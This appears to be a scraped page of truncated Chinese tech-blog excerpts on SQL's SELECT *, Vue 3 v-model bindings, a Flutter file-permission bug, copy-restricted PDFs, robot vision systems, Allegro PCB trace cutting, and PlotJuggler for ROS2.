“不要使用SELECT ”几乎已经成为数据库使用的一条金科玉律&#xff0c;就连很多公司也明确表示不得使用作为查询的字段列表&#xff0c;更是让这条规则拥有了权威的加持。 为什么不建议直接使用SELECT *&#xff1f;我们总得搞清楚这其中的原因吧&#xff0c;不要别人说不建议…

vue3 组件v-model绑定props里的值,修改组件的值要触发回调

很早之前就写了&#xff0c;一直没写篇博客记录下 <select v-model"typeVal" />const emit defineEmits([update:type]); const props defineProps({type: { type: String, default: }, });const typeVal computed({get() {return props.type;},set(value…

Flutter:open_file打开本地文件报错问题

相关插件及版本&#xff1a; open_file: ^3.2.1 问题&#xff1a; 项目中一直用的这个插件&#xff0c;突然发现在安卓高版本不能正常使用&#xff0c;报权限问题permissionDenied&#xff0c;断点调试提示相关权限是MANAGE_EXTERNAL_STORAGE&#xff0c;申请权限之后还是不行&…

PDF有限制不能复制怎么办?

大家现在接触PDF文件越来越多&#xff0c;有的时候在网上下载的PDF文件打开之后&#xff0c;发现选中文字之后无法复制。甚至其他功能也都无法使用&#xff0c;这是怎么回事&#xff1f;该怎么办&#xff1f; 当我们发现文件打开之后&#xff0c;编辑功能无法使用&#xff0c;很…

探索视觉系统工作原理,聚焦机器人应用“新视界”

原创 | 文 BFT机器人 01 视觉系统&#xff1a;机器人的“眼睛” 视觉系统是一个非常复杂的系统&#xff0c;包括照明系统、镜头、摄像系统和图像处理系统。机器视觉系统主要由三部分组成&#xff1a;图像的获取、图像的处理和分析、输出或显示。 从功能上看&#xff0c;典型的…

Allegro批量剪断走线操作

在用Allegro设计 PCB过程中,有时候由于原理图改动,导致布局的改动。这就会导致走完的线要重新走,对于差分对因为前半部分的走线是不用重新走的。那就可以使用剪断后面部分的线,然后删除,提高走线的效率。那如何批量剪断走线呢? (1)选择菜单Manufacture→Drafting→Dele…

ROS2学习(六)Bag回放使用plotjugger

Plotjugger Plotjugger是一个类似rqt_plot的可视化工具&#xff0c;但PlotJuggler拥有更强大和好用的功能。你可以导入文本文件让它显示文本文件中的数据&#xff0c;可以导入csv等各种格式的文件&#xff0c;支持画出数据曲线2. Bag回放 使用Plotjugger 可以导入ros的bag包…